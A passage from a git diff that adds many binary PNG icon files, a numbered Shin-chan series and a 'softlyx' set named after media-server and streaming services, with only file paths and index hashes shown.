b/icons/shin-chan/Shin-chan-1034.png differ diff --git a/icons/shin-chan/Shin-chan-1035.png b/icons/shin-chan/Shin-chan-1035.png new file mode 100644 index 00000000..220a1212 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1035.png differ diff --git a/icons/shin-chan/Shin-chan-1036.png b/icons/shin-chan/Shin-chan-1036.png new file mode 100644 index 00000000..68ed4274 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1036.png differ diff --git a/icons/shin-chan/Shin-chan-1037.png b/icons/shin-chan/Shin-chan-1037.png new file mode 100644 index 00000000..4ece10f5 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1037.png differ diff --git a/icons/shin-chan/Shin-chan-1038.png b/icons/shin-chan/Shin-chan-1038.png new file mode 100644 index 00000000..e08e7f9b Binary files /dev/null and b/icons/shin-chan/Shin-chan-1038.png differ diff --git a/icons/shin-chan/Shin-chan-1039.png b/icons/shin-chan/Shin-chan-1039.png new file mode 100644 index 00000000..7bf4cef7 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1039.png differ diff --git a/icons/shin-chan/Shin-chan-1040.png b/icons/shin-chan/Shin-chan-1040.png new file mode 100644 index 00000000..862f15c5 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1040.png differ diff --git a/icons/shin-chan/Shin-chan-1041.png b/icons/shin-chan/Shin-chan-1041.png new file mode 100644 index 00000000..8d664d4d Binary files /dev/null and b/icons/shin-chan/Shin-chan-1041.png differ diff --git a/icons/shin-chan/Shin-chan-1042.png b/icons/shin-chan/Shin-chan-1042.png new file mode 100644 index 00000000..351a25fa Binary files /dev/null and b/icons/shin-chan/Shin-chan-1042.png differ diff --git a/icons/shin-chan/Shin-chan-1043.png b/icons/shin-chan/Shin-chan-1043.png new file mode 100644 index 00000000..4400d192 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1043.png differ diff --git a/icons/shin-chan/Shin-chan-1044.png b/icons/shin-chan/Shin-chan-1044.png new file mode 100644 index 00000000..e84aa93a Binary files /dev/null and b/icons/shin-chan/Shin-chan-1044.png differ diff --git a/icons/shin-chan/Shin-chan-1045.png b/icons/shin-chan/Shin-chan-1045.png new file mode 100644 index 00000000..d7604c3a Binary files /dev/null and b/icons/shin-chan/Shin-chan-1045.png differ diff --git a/icons/shin-chan/Shin-chan-1046.png b/icons/shin-chan/Shin-chan-1046.png new file mode 100644 index 00000000..aca3c4b5 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1046.png differ diff --git a/icons/shin-chan/Shin-chan-1047.png b/icons/shin-chan/Shin-chan-1047.png new file mode 100644 index 00000000..9557fe5f Binary files /dev/null and b/icons/shin-chan/Shin-chan-1047.png differ diff --git a/icons/shin-chan/Shin-chan-1048.png b/icons/shin-chan/Shin-chan-1048.png new file mode 100644 index 00000000..d09c93cb Binary files /dev/null and b/icons/shin-chan/Shin-chan-1048.png differ diff --git a/icons/shin-chan/Shin-chan-1049.png b/icons/shin-chan/Shin-chan-1049.png new file mode 100644 index 00000000..3ab34097 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1049.png differ diff --git a/icons/shin-chan/Shin-chan-1050.png b/icons/shin-chan/Shin-chan-1050.png new file mode 100644 index 00000000..41f2907e Binary files /dev/null and b/icons/shin-chan/Shin-chan-1050.png differ diff --git a/icons/shin-chan/Shin-chan-1051.png b/icons/shin-chan/Shin-chan-1051.png new file mode 100644 index 00000000..da799867 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1051.png differ diff --git a/icons/shin-chan/Shin-chan-1052.png b/icons/shin-chan/Shin-chan-1052.png new file mode 100644 index 00000000..6a9bf509 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1052.png differ diff --git a/icons/shin-chan/Shin-chan-1053.png b/icons/shin-chan/Shin-chan-1053.png new file mode 100644 index 00000000..53a6f92a Binary files /dev/null and b/icons/shin-chan/Shin-chan-1053.png differ diff --git a/icons/shin-chan/Shin-chan-1054.png b/icons/shin-chan/Shin-chan-1054.png new file mode 100644 index 00000000..9aad6f46 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1054.png differ diff --git a/icons/shin-chan/Shin-chan-1055.png b/icons/shin-chan/Shin-chan-1055.png new file mode 100644 index 00000000..b5fab7c2 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1055.png differ diff --git a/icons/shin-chan/Shin-chan-1056.png b/icons/shin-chan/Shin-chan-1056.png new file mode 100644 index 00000000..db97b173 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1056.png differ diff --git a/icons/shin-chan/Shin-chan-1057.png b/icons/shin-chan/Shin-chan-1057.png new file mode 100644 index 00000000..0f676877 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1057.png differ diff --git a/icons/shin-chan/Shin-chan-1058.png b/icons/shin-chan/Shin-chan-1058.png new file mode 100644 index 00000000..155f1930 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1058.png differ diff --git a/icons/shin-chan/Shin-chan-1059.png b/icons/shin-chan/Shin-chan-1059.png new file mode 100644 index 00000000..35921076 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1059.png differ diff --git a/icons/shin-chan/Shin-chan-1060.png b/icons/shin-chan/Shin-chan-1060.png new file mode 100644 index 00000000..6f3bab8b Binary files /dev/null and b/icons/shin-chan/Shin-chan-1060.png differ diff --git a/icons/shin-chan/Shin-chan-1061.png b/icons/shin-chan/Shin-chan-1061.png new file mode 100644 index 00000000..5b652156 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1061.png differ diff --git a/icons/shin-chan/Shin-chan-1062.png b/icons/shin-chan/Shin-chan-1062.png new file mode 100644 index 00000000..798ab916 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1062.png differ diff --git a/icons/shin-chan/Shin-chan-1063.png b/icons/shin-chan/Shin-chan-1063.png new file mode 100644 index 00000000..43cbf428 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1063.png differ diff --git a/icons/shin-chan/Shin-chan-1064.png b/icons/shin-chan/Shin-chan-1064.png new file mode 100644 index 00000000..d6b755aa Binary files /dev/null and b/icons/shin-chan/Shin-chan-1064.png differ diff --git a/icons/shin-chan/Shin-chan-1065.png b/icons/shin-chan/Shin-chan-1065.png new file mode 100644 index 00000000..76420f7c Binary files /dev/null and b/icons/shin-chan/Shin-chan-1065.png differ diff --git a/icons/shin-chan/Shin-chan-1066.png b/icons/shin-chan/Shin-chan-1066.png new file mode 100644 index 00000000..fcb9fb6c Binary files /dev/null and b/icons/shin-chan/Shin-chan-1066.png differ diff --git a/icons/shin-chan/Shin-chan-1067.png b/icons/shin-chan/Shin-chan-1067.png new file mode 100644 index 00000000..db3c0e32 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1067.png differ diff --git a/icons/shin-chan/Shin-chan-1068.png b/icons/shin-chan/Shin-chan-1068.png new file mode 100644 index 00000000..ec4a82f2 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1068.png differ diff --git a/icons/shin-chan/Shin-chan-1069.png b/icons/shin-chan/Shin-chan-1069.png new file mode 100644 index 00000000..ef235a81 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1069.png differ diff --git a/icons/shin-chan/Shin-chan-1070.png b/icons/shin-chan/Shin-chan-1070.png new file mode 100644 index 00000000..a1cdf113 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1070.png differ diff --git a/icons/shin-chan/Shin-chan-1071.png b/icons/shin-chan/Shin-chan-1071.png new file mode 100644 index 00000000..0320b61a Binary files /dev/null and b/icons/shin-chan/Shin-chan-1071.png differ diff --git a/icons/shin-chan/Shin-chan-1072.png b/icons/shin-chan/Shin-chan-1072.png new file mode 100644 index 00000000..e66da1a0 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1072.png differ diff --git a/icons/shin-chan/Shin-chan-1073.png b/icons/shin-chan/Shin-chan-1073.png new file mode 100644 index 00000000..bbeb144a Binary files /dev/null and b/icons/shin-chan/Shin-chan-1073.png differ diff --git a/icons/shin-chan/Shin-chan-1074.png b/icons/shin-chan/Shin-chan-1074.png new file mode 100644 index 00000000..27dcec8a Binary files /dev/null and b/icons/shin-chan/Shin-chan-1074.png differ diff --git a/icons/shin-chan/Shin-chan-1075.png b/icons/shin-chan/Shin-chan-1075.png new file mode 100644 index 00000000..ba394d36 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1075.png differ diff --git a/icons/shin-chan/Shin-chan-1076.png b/icons/shin-chan/Shin-chan-1076.png new file mode 100644 index 00000000..327bc3ef Binary files /dev/null and b/icons/shin-chan/Shin-chan-1076.png differ diff --git a/icons/shin-chan/Shin-chan-1077.png b/icons/shin-chan/Shin-chan-1077.png new file mode 100644 index 00000000..a47c6d08 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1077.png differ diff --git a/icons/shin-chan/Shin-chan-1078.png b/icons/shin-chan/Shin-chan-1078.png new file mode 100644 index 00000000..9d29de4f Binary files /dev/null and b/icons/shin-chan/Shin-chan-1078.png differ diff --git a/icons/shin-chan/Shin-chan-1079.png b/icons/shin-chan/Shin-chan-1079.png new file mode 100644 index 00000000..4e758387 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1079.png differ diff --git a/icons/shin-chan/Shin-chan-1080.png b/icons/shin-chan/Shin-chan-1080.png new file mode 100644 index 00000000..85eb0e4b Binary files /dev/null and b/icons/shin-chan/Shin-chan-1080.png differ diff --git a/icons/shin-chan/Shin-chan-1081.png b/icons/shin-chan/Shin-chan-1081.png new file mode 100644 index 00000000..456a6db4 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1081.png differ diff --git a/icons/shin-chan/Shin-chan-1082.png b/icons/shin-chan/Shin-chan-1082.png new file mode 100644 index 00000000..1edb1551 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1082.png differ diff --git a/icons/shin-chan/Shin-chan-1083.png b/icons/shin-chan/Shin-chan-1083.png new file mode 100644 index 00000000..55fd63c2 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1083.png differ diff --git a/icons/shin-chan/Shin-chan-1084.png b/icons/shin-chan/Shin-chan-1084.png new file mode 100644 index 00000000..955be1c0 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1084.png differ diff --git a/icons/shin-chan/Shin-chan-1085.png b/icons/shin-chan/Shin-chan-1085.png new file mode 100644 index 00000000..8a7b4fde Binary files /dev/null and b/icons/shin-chan/Shin-chan-1085.png differ diff --git a/icons/shin-chan/Shin-chan-1086.png b/icons/shin-chan/Shin-chan-1086.png new file mode 100644 index 00000000..54b9e3fe Binary files /dev/null and b/icons/shin-chan/Shin-chan-1086.png differ diff --git a/icons/shin-chan/Shin-chan-1087.png b/icons/shin-chan/Shin-chan-1087.png new file mode 100644 index 00000000..618dd700 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1087.png differ diff --git a/icons/shin-chan/Shin-chan-1088.png b/icons/shin-chan/Shin-chan-1088.png new file mode 100644 index 00000000..4b04a214 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1088.png differ diff --git a/icons/shin-chan/Shin-chan-1089.png b/icons/shin-chan/Shin-chan-1089.png new file mode 100644 index 00000000..c54123ed Binary files /dev/null and b/icons/shin-chan/Shin-chan-1089.png differ diff --git a/icons/shin-chan/Shin-chan-1090.png b/icons/shin-chan/Shin-chan-1090.png new file mode 100644 index 00000000..1de5338e Binary files /dev/null and b/icons/shin-chan/Shin-chan-1090.png differ diff --git a/icons/shin-chan/Shin-chan-1091.png b/icons/shin-chan/Shin-chan-1091.png new file mode 100644 index 00000000..7ae0809d Binary files /dev/null and b/icons/shin-chan/Shin-chan-1091.png differ diff --git a/icons/shin-chan/Shin-chan-1092.png b/icons/shin-chan/Shin-chan-1092.png new file mode 100644 index 00000000..808c3f94 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1092.png differ diff --git a/icons/shin-chan/Shin-chan-1093.png b/icons/shin-chan/Shin-chan-1093.png new file mode 100644 index 00000000..ca9ea4f7 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1093.png differ diff --git a/icons/shin-chan/Shin-chan-1094.png b/icons/shin-chan/Shin-chan-1094.png new file mode 100644 index 00000000..cb7af206 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1094.png differ diff --git a/icons/shin-chan/Shin-chan-1095.png b/icons/shin-chan/Shin-chan-1095.png new file mode 100644 index 00000000..fe422ec4 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1095.png differ diff --git a/icons/shin-chan/Shin-chan-1096.png b/icons/shin-chan/Shin-chan-1096.png new file mode 100644 index 00000000..280e9dd8 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1096.png differ diff --git a/icons/shin-chan/Shin-chan-1097.png b/icons/shin-chan/Shin-chan-1097.png new file mode 100644 index 00000000..f27ad44a Binary files /dev/null and b/icons/shin-chan/Shin-chan-1097.png differ diff --git a/icons/shin-chan/Shin-chan-1098.png b/icons/shin-chan/Shin-chan-1098.png new file mode 100644 index 00000000..a8ad2fb0 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1098.png differ diff --git a/icons/shin-chan/Shin-chan-1099.png b/icons/shin-chan/Shin-chan-1099.png new file mode 100644 index 00000000..8859f177 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1099.png differ diff --git a/icons/shin-chan/Shin-chan-1100.png b/icons/shin-chan/Shin-chan-1100.png new file mode 100644 index 00000000..cc72bfa1 Binary files /dev/null and b/icons/shin-chan/Shin-chan-1100.png differ diff --git a/icons/softlyx/1111.png b/icons/softlyx/1111.png new file mode 100644 index 00000000..07954395 Binary files /dev/null and b/icons/softlyx/1111.png differ diff --git a/icons/softlyx/11Pshare.png b/icons/softlyx/11Pshare.png new file mode 100644 index 00000000..78c81e3d Binary files /dev/null and b/icons/softlyx/11Pshare.png differ diff --git a/icons/softlyx/2020.png b/icons/softlyx/2020.png new file mode 100644 index 00000000..0bd51286 Binary files /dev/null and b/icons/softlyx/2020.png differ diff --git a/icons/softlyx/23Studio.png b/icons/softlyx/23Studio.png new file mode 100644 index 00000000..861fc1cf Binary files /dev/null and b/icons/softlyx/23Studio.png differ diff --git a/icons/softlyx/404.png b/icons/softlyx/404.png new file mode 100644 index 00000000..d53a542c Binary files /dev/null and b/icons/softlyx/404.png differ diff --git a/icons/softlyx/ALiYun.png b/icons/softlyx/ALiYun.png new file mode 100644 index 00000000..7009ad31 Binary files /dev/null and b/icons/softlyx/ALiYun.png differ diff --git a/icons/softlyx/AcEmby.png b/icons/softlyx/AcEmby.png new file mode 100644 index 00000000..c2aa44e4 Binary files /dev/null and b/icons/softlyx/AcEmby.png differ diff --git a/icons/softlyx/AcEmby1.png b/icons/softlyx/AcEmby1.png new file mode 100644 index 00000000..c3078b16 Binary files /dev/null and b/icons/softlyx/AcEmby1.png differ diff --git a/icons/softlyx/Acg.png b/icons/softlyx/Acg.png new file mode 100644 index 00000000..27ff1b03 Binary files /dev/null and b/icons/softlyx/Acg.png differ diff --git a/icons/softlyx/Acg1.png b/icons/softlyx/Acg1.png new file mode 100644 index 00000000..af4ea2be Binary files /dev/null and b/icons/softlyx/Acg1.png differ diff --git a/icons/softlyx/Alist.png b/icons/softlyx/Alist.png new file mode 100644 index 00000000..d2b2cb95 Binary files /dev/null and b/icons/softlyx/Alist.png differ diff --git a/icons/softlyx/AnimeHome.png b/icons/softlyx/AnimeHome.png new file mode 100644 index 00000000..96a8e713 Binary files /dev/null and b/icons/softlyx/AnimeHome.png differ diff --git a/icons/softlyx/Atvii.png b/icons/softlyx/Atvii.png new file mode 100644 index 00000000..efc68a6b Binary files /dev/null and b/icons/softlyx/Atvii.png differ diff --git a/icons/softlyx/BaiDuYun.png b/icons/softlyx/BaiDuYun.png new file mode 100644 index 00000000..b1a835f3 Binary files /dev/null and b/icons/softlyx/BaiDuYun.png differ diff --git a/icons/softlyx/BaiPiaoWang.png b/icons/softlyx/BaiPiaoWang.png new file mode 100644 index 00000000..86031165 Binary files /dev/null and b/icons/softlyx/BaiPiaoWang.png differ diff --git a/icons/softlyx/Bdd.png b/icons/softlyx/Bdd.png new file mode 100644 index 00000000..e5ff6ca9 Binary files /dev/null and b/icons/softlyx/Bdd.png differ diff --git a/icons/softlyx/Bdd1.png b/icons/softlyx/Bdd1.png new file mode 100644 index 00000000..a1af4cf6 Binary files /dev/null and b/icons/softlyx/Bdd1.png differ diff --git a/icons/softlyx/BestEmby.png b/icons/softlyx/BestEmby.png new file mode 100644 index 00000000..44c93869 Binary files /dev/null and b/icons/softlyx/BestEmby.png differ diff --git a/icons/softlyx/BestEmby1.png b/icons/softlyx/BestEmby1.png new file mode 100644 index 00000000..48cea5a8 Binary files /dev/null and b/icons/softlyx/BestEmby1.png differ diff --git a/icons/softlyx/Bigbus.png b/icons/softlyx/Bigbus.png new file mode 100644 index 00000000..a191ccf3 Binary files /dev/null and b/icons/softlyx/Bigbus.png differ diff --git a/icons/softlyx/BlueSea.png b/icons/softlyx/BlueSea.png new file mode 100644 index 00000000..70ad1ec9 Binary files /dev/null and b/icons/softlyx/BlueSea.png differ diff --git a/icons/softlyx/BlueSeaEmby.png b/icons/softlyx/BlueSeaEmby.png new file mode 100644 index 00000000..ed7548a2 Binary files /dev/null and b/icons/softlyx/BlueSeaEmby.png differ diff --git a/icons/softlyx/BoYinYuan.png b/icons/softlyx/BoYinYuan.png new file mode 100644 index 00000000..0a4317c7 Binary files /dev/null and b/icons/softlyx/BoYinYuan.png differ diff --git a/icons/softlyx/BuGeiKan.png b/icons/softlyx/BuGeiKan.png new file mode 100644 index 00000000..148f71fc Binary files /dev/null and b/icons/softlyx/BuGeiKan.png differ diff --git a/icons/softlyx/Captain-z.png b/icons/softlyx/Captain-z.png new file mode 100644 index 00000000..873ed3fe Binary files /dev/null and b/icons/softlyx/Captain-z.png differ diff --git a/icons/softlyx/Captain-z1.png b/icons/softlyx/Captain-z1.png new file mode 100644 index 00000000..43463fb2 Binary files /dev/null and b/icons/softlyx/Captain-z1.png differ diff --git a/icons/softlyx/CatFish.png b/icons/softlyx/CatFish.png new file mode 100644 index 00000000..ee353dbf Binary files /dev/null and b/icons/softlyx/CatFish.png differ diff --git a/icons/softlyx/CatFish1.png b/icons/softlyx/CatFish1.png new file mode 100644 index 00000000..9fb787fb Binary files /dev/null and b/icons/softlyx/CatFish1.png differ diff --git a/icons/softlyx/CcEmby.png b/icons/softlyx/CcEmby.png new file mode 100644 index 00000000..f7ec1386 Binary files /dev/null and b/icons/softlyx/CcEmby.png differ diff --git a/icons/softlyx/CharonTV.png b/icons/softlyx/CharonTV.png new file mode 100644 index 00000000..532abf93 Binary files /dev/null and b/icons/softlyx/CharonTV.png differ diff --git a/icons/softlyx/Cola.png b/icons/softlyx/Cola.png new file mode 100644 index 00000000..f3b449fb Binary files /dev/null and b/icons/softlyx/Cola.png differ diff --git a/icons/softlyx/CrossGreatWall.png b/icons/softlyx/CrossGreatWall.png new file mode 100644 index 00000000..39ec5861 Binary files /dev/null and b/icons/softlyx/CrossGreatWall.png differ diff --git a/icons/softlyx/Csn.png b/icons/softlyx/Csn.png new file mode 100644 index 00000000..e8fdaa31 Binary files /dev/null and b/icons/softlyx/Csn.png differ diff --git a/icons/softlyx/Csn1.png b/icons/softlyx/Csn1.png new file mode 100644 index 00000000..1d1549e4 Binary files /dev/null and b/icons/softlyx/Csn1.png differ diff --git a/icons/softlyx/Csn2.png b/icons/softlyx/Csn2.png new file mode 100644 index 00000000..f25c5580 Binary files /dev/null and b/icons/softlyx/Csn2.png differ diff --git a/icons/softlyx/CurlyMouse.png b/icons/softlyx/CurlyMouse.png new file mode 100644 index 00000000..df71c414 Binary files /dev/null and b/icons/softlyx/CurlyMouse.png differ diff --git a/icons/softlyx/CurlyMouse1.png b/icons/softlyx/CurlyMouse1.png new file mode 100644 index 00000000..d100dc3a Binary files /dev/null and b/icons/softlyx/CurlyMouse1.png differ diff --git a/icons/softlyx/DaHangHai.png b/icons/softlyx/DaHangHai.png new file mode 100644 index 00000000..7b934654 Binary files /dev/null and b/icons/softlyx/DaHangHai.png differ diff --git a/icons/softlyx/Des.png b/icons/softlyx/Des.png new file mode 100644 index 00000000..3777044a Binary files /dev/null and b/icons/softlyx/Des.png differ diff --git a/icons/softlyx/Des1.png b/icons/softlyx/Des1.png new file mode 100644 index 00000000..9c67a831 Binary files /dev/null and b/icons/softlyx/Des1.png differ diff --git a/icons/softlyx/Didiemby.png b/icons/softlyx/Didiemby.png new file mode 100644 index 00000000..3958bb6b Binary files /dev/null and b/icons/softlyx/Didiemby.png differ diff --git a/icons/softlyx/Dv.png b/icons/softlyx/Dv.png new file mode 100644 index 00000000..0f81c648 Binary files /dev/null and b/icons/softlyx/Dv.png differ diff --git a/icons/softlyx/DxzEmby.png b/icons/softlyx/DxzEmby.png new file mode 100644 index 00000000..795781b9 Binary files /dev/null and b/icons/softlyx/DxzEmby.png differ diff --git a/icons/softlyx/ElevenPlus.png b/icons/softlyx/ElevenPlus.png new file mode 100644 index 00000000..76a29d2f Binary files /dev/null and b/icons/softlyx/ElevenPlus.png differ diff --git a/icons/softlyx/Emby.png b/icons/softlyx/Emby.png new file mode 100644 index 00000000..dddc83c7 Binary files /dev/null and b/icons/softlyx/Emby.png differ diff --git a/icons/softlyx/Emby1.png b/icons/softlyx/Emby1.png new file mode 100644 index 00000000..6103d4a4 Binary files /dev/null and b/icons/softlyx/Emby1.png differ diff --git a/icons/softlyx/EmbyClub.png b/icons/softlyx/EmbyClub.png new file mode 100644 index 00000000..d8adecdc Binary files /dev/null and b/icons/softlyx/EmbyClub.png differ diff --git a/icons/softlyx/EmbyClub1.png b/icons/softlyx/EmbyClub1.png new file mode 100644 index 00000000..6c761867 Binary files /dev/null and b/icons/softlyx/EmbyClub1.png differ diff --git a/icons/softlyx/EmbyHub.png b/icons/softlyx/EmbyHub.png new file mode 100644 index 00000000..33fdc0b4 Binary files /dev/null and b/icons/softlyx/EmbyHub.png differ diff --git a/icons/softlyx/EmbyHub1.png b/icons/softlyx/EmbyHub1.png new file mode 100644 index 00000000..b8fe2dda Binary files /dev/null and b/icons/softlyx/EmbyHub1.png differ diff --git a/icons/softlyx/EmbyHub2.png b/icons/softlyx/EmbyHub2.png new file mode 100644 index 00000000..0093089c Binary files /dev/null and b/icons/softlyx/EmbyHub2.png differ diff --git a/icons/softlyx/EmbyX.png b/icons/softlyx/EmbyX.png new file mode 100644 index 00000000..779db3f2 Binary files /dev/null and b/icons/softlyx/EmbyX.png differ diff --git a/icons/softlyx/Fangyt.png b/icons/softlyx/Fangyt.png new file mode 100644 index 00000000..1d593b56 Binary files /dev/null and b/icons/softlyx/Fangyt.png differ diff --git a/icons/softlyx/Flareix.png b/icons/softlyx/Flareix.png new file mode 100644 index 00000000..0c915c02 Binary files /dev/null and b/icons/softlyx/Flareix.png differ diff --git a/icons/softlyx/Foxcoo.png b/icons/softlyx/Foxcoo.png new file mode 100644 index 00000000..51ddf039 Binary files /dev/null and b/icons/softlyx/Foxcoo.png differ diff --git a/icons/softlyx/FreeEmby.png b/icons/softlyx/FreeEmby.png new file mode 100644 index 00000000..d12bdf3d Binary files /dev/null and b/icons/softlyx/FreeEmby.png differ diff --git a/icons/softlyx/Froghub.png b/icons/softlyx/Froghub.png new file mode 100644 index 00000000..8e1946b4 Binary files /dev/null and b/icons/softlyx/Froghub.png differ diff --git a/icons/softlyx/GfwEmby.png b/icons/softlyx/GfwEmby.png new file mode 100644 index 00000000..124e1ebe Binary files /dev/null and b/icons/softlyx/GfwEmby.png differ diff --git a/icons/softlyx/GoogleDrive.png b/icons/softlyx/GoogleDrive.png new file mode 100644 index 00000000..c77c1e46 Binary files /dev/null and b/icons/softlyx/GoogleDrive.png differ diff --git a/icons/softlyx/Han.png b/icons/softlyx/Han.png new file mode 100644 index 00000000..c90072e0 Binary files /dev/null and b/icons/softlyx/Han.png differ diff --git a/icons/softlyx/Haoji.png b/icons/softlyx/Haoji.png new file mode 100644 index 00000000..4b6427f2 Binary files /dev/null and b/icons/softlyx/Haoji.png differ diff --git a/icons/softlyx/HeiShan.png b/icons/softlyx/HeiShan.png new file mode 100644 index 00000000..cbac71e5 Binary files /dev/null and b/icons/softlyx/HeiShan.png differ diff --git a/icons/softlyx/HentaiHome.png b/icons/softlyx/HentaiHome.png new file mode 100644 index 00000000..aa6fcf43 Binary files /dev/null and b/icons/softlyx/HentaiHome.png differ diff --git a/icons/softlyx/HongChen.png b/icons/softlyx/HongChen.png new file mode 100644 index 00000000..c195d60e Binary files /dev/null and b/icons/softlyx/HongChen.png differ diff --git a/icons/softlyx/Hxd.png b/icons/softlyx/Hxd.png new file mode 100644 index 00000000..f0e085d1 Binary files /dev/null and b/icons/softlyx/Hxd.png differ diff --git a/icons/softlyx/Hxd1.png b/icons/softlyx/Hxd1.png new file mode 100644 index 00000000..13259da8 Binary files /dev/null and b/icons/softlyx/Hxd1.png differ diff --git a/icons/softlyx/Ikoumi.png b/icons/softlyx/Ikoumi.png new file mode 100644 index 00000000..7d2d3fd6 Binary files /dev/null and b/icons/softlyx/Ikoumi.png differ diff --git a/icons/softlyx/Infinity.png b/icons/softlyx/Infinity.png new file mode 100644 index 00000000..5ab0737c Binary files /dev/null and b/icons/softlyx/Infinity.png differ diff --git a/icons/softlyx/Infuse.png b/icons/softlyx/Infuse.png new file mode 100644 index 00000000..3c4b99b0 Binary files /dev/null and b/icons/softlyx/Infuse.png differ diff --git a/icons/softlyx/Jellyfin.png b/icons/softlyx/Jellyfin.png new file mode 100644 index 00000000..90305705 Binary files /dev/null and b/icons/softlyx/Jellyfin.png differ diff --git a/icons/softlyx/JieNiGui.png b/icons/softlyx/JieNiGui.png new file mode 100644 index 00000000..345e6945 Binary files /dev/null and b/icons/softlyx/JieNiGui.png differ diff --git a/icons/softlyx/JieSen.png b/icons/softlyx/JieSen.png new file mode 100644 index 00000000..1bcc78f3 Binary files /dev/null and b/icons/softlyx/JieSen.png differ diff --git a/icons/softlyx/Jikongjian.png b/icons/softlyx/Jikongjian.png new file mode 100644 index 00000000..9be05949 Binary files /dev/null and b/icons/softlyx/Jikongjian.png differ diff --git a/icons/softlyx/JuDog.png b/icons/softlyx/JuDog.png new file mode 100644 index 00000000..44551deb Binary files /dev/null and b/icons/softlyx/JuDog.png differ diff --git a/icons/softlyx/Jyctv.png b/icons/softlyx/Jyctv.png new file mode 100644 index 00000000..441f309e Binary files /dev/null and b/icons/softlyx/Jyctv.png differ diff --git a/icons/softlyx/KaiLu.png b/icons/softlyx/KaiLu.png new file mode 100644 index 00000000..53f96cdf Binary files /dev/null and b/icons/softlyx/KaiLu.png differ diff --git a/icons/softlyx/Kevin.png b/icons/softlyx/Kevin.png new file mode 100644 index 00000000..369bc479 Binary files /dev/null and b/icons/softlyx/Kevin.png differ diff --git a/icons/softlyx/KshtEmby.png b/icons/softlyx/KshtEmby.png new file mode 100644 index 00000000..7aeb2fa0 Binary files /dev/null and b/icons/softlyx/KshtEmby.png differ diff --git a/icons/softlyx/LiangShan.png b/icons/softlyx/LiangShan.png new file mode 100644 index 00000000..c19963de Binary files /dev/null and b/icons/softlyx/LiangShan.png differ diff --git a/icons/softlyx/LiangShan1.png b/icons/softlyx/LiangShan1.png new file mode 100644 index 00000000..06cd7233 Binary files /dev/null and b/icons/softlyx/LiangShan1.png differ diff --git a/icons/softlyx/Lion.png b/icons/softlyx/Lion.png new file mode 100644 index 00000000..4c177690 Binary files /dev/null and b/icons/softlyx/Lion.png differ diff --git a/icons/softlyx/Loniper.png b/icons/softlyx/Loniper.png new file mode 100644 index 00000000..5d35d683 Binary files /dev/null and b/icons/softlyx/Loniper.png differ diff --git a/icons/softlyx/Lvlian.png b/icons/softlyx/Lvlian.png new file mode 100644 index 00000000..4a97d7bd Binary files /dev/null and b/icons/softlyx/Lvlian.png differ diff --git a/icons/softlyx/Magic.png b/icons/softlyx/Magic.png new file mode 100644 index 00000000..c766450e Binary files /dev/null and b/icons/softlyx/Magic.png differ diff --git a/icons/softlyx/Magpie.png b/icons/softlyx/Magpie.png new file mode 100644 index 00000000..be62d8a5 Binary files /dev/null and b/icons/softlyx/Magpie.png differ diff --git a/icons/softlyx/Maliao.png b/icons/softlyx/Maliao.png new file mode 100644 index 00000000..80cb8154 Binary files /dev/null and b/icons/softlyx/Maliao.png differ diff --git a/icons/softlyx/MengMeng.png b/icons/softlyx/MengMeng.png new file mode 100644 index 00000000..57d3ea02 Binary files /dev/null and b/icons/softlyx/MengMeng.png differ diff --git a/icons/softlyx/Midsummer.png b/icons/softlyx/Midsummer.png new file mode 100644 index 00000000..1f8da1df Binary files /dev/null and b/icons/softlyx/Midsummer.png differ diff --git a/icons/softlyx/Mildnes.png b/icons/softlyx/Mildnes.png new file mode 100644 index 00000000..9d838178 Binary files /dev/null and b/icons/softlyx/Mildnes.png differ diff --git a/icons/softlyx/Mildnes1.png b/icons/softlyx/Mildnes1.png new file mode 100644 index 00000000..046bf97a Binary files /dev/null and b/icons/softlyx/Mildnes1.png differ diff --git a/icons/softlyx/Mildnes2.png b/icons/softlyx/Mildnes2.png new file mode 100644 index 00000000..ae0ab1f2 Binary files /dev/null and b/icons/softlyx/Mildnes2.png differ diff --git a/icons/softlyx/MisakaF.png b/icons/softlyx/MisakaF.png new file mode 100644 index 00000000..d8a199b1 Binary files /dev/null and b/icons/softlyx/MisakaF.png differ diff --git a/icons/softlyx/Misty+.png b/icons/softlyx/Misty+.png new file mode 100644 index 00000000..59324640 Binary files /dev/null and b/icons/softlyx/Misty+.png differ diff --git a/icons/softlyx/Misty.png b/icons/softlyx/Misty.png new file mode 100644 index 00000000..7d64f791 Binary files /dev/null and b/icons/softlyx/Misty.png differ diff --git a/icons/softlyx/Mjj.png b/icons/softlyx/Mjj.png new file mode 100644 index 